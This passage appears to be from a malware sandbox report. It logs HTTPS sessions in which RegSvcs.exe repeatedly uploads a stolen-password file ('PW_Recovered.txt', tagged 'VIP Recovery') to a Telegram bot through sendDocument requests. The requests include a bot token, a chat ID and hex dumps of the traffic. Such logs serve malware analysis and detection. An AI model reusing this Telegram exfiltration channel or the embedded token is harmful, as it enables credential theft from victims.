--------------------------8dcf98f7b2e35edContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:21 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:21 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12825,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	61670	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:24 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcfed3182d0166 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:24 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 65 64 33 31 38 32 64 30 31 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dcfed3182d0166Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:24 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:25 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12826,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	61671	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:25 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcfa10ca850f14 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:25 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 61 31 30 63 61 38 35 30 66 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcfa10ca850f14Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:25 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:25 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12828,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	61673	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:25 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd00e934167454 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:25 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 30 65 39 33 34 31 36 37 34 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd00e934167454Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:26 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:26 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12829,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	61676	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:28 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcfdfaba9eabda Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:28 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 64 66 61 62 61 39 65 61 62 64 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcfdfaba9eabdaContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:29 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:29 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:29 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12830,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	61678	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:30 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd01771edfcbec Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:30 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 31 37 37 31 65 64 66 63 62 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd01771edfcbecContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:30 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:31 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12831,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	61680	149.154.167.220	443	5688	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:33 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dcfed4e660b567 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:33 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 65 64 34 65 36 36 30 62 35 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 31 37 Data Ascii: --------------------------8dcfed4e660b567Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:17
2024-09-19 10:24:34 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:34 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-09-19 10:24:34 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 34 37 32 34 39 35 34 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 6e 61 6b 65 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 50 79 74 68 6f 6e 73 68 69 6e 65 6b 75 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 34 30 33 39 34 38 36 39 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 65 74 5c 75 32 30 31 39 73 20 67 65 74 20 69 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 47 65 74 20 69 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 77 69 6e 6e 69 6e 67 33 31 31 36 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 Data Ascii: {"ok":true,"result":{"message_id":12832,"from":{"id":7247249543,"is_bot":true,"first_name":"Pythonsnakebot","username":"Pythonshineku_bot"},"chat":{"id":403948698,"first_name":"Let\u2019s get it","last_name":"Get it","username":"winning3116","type":"priva

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	61681	149.154.167.220	443	1488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-19 10:24:34 UTC	369	OUT	POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0417862dab04 Host: api.telegram.org Content-Length: 560 Connection: Keep-Alive
2024-09-19 10:24:34 UTC	560	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 34 31 37 38 36 32 64 61 62 30 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 39 36 35 35 34 33 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 39 2f 30 39 2f 32 30 32 34 20 2f 20 30 36 3a 32 31 3a 30 34 Data Ascii: --------------------------8dd0417862dab04Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:965543Date and Time: 19/09/2024 / 06:21:04
2024-09-19 10:24:35 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 19 Sep 2024 10:24:34 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
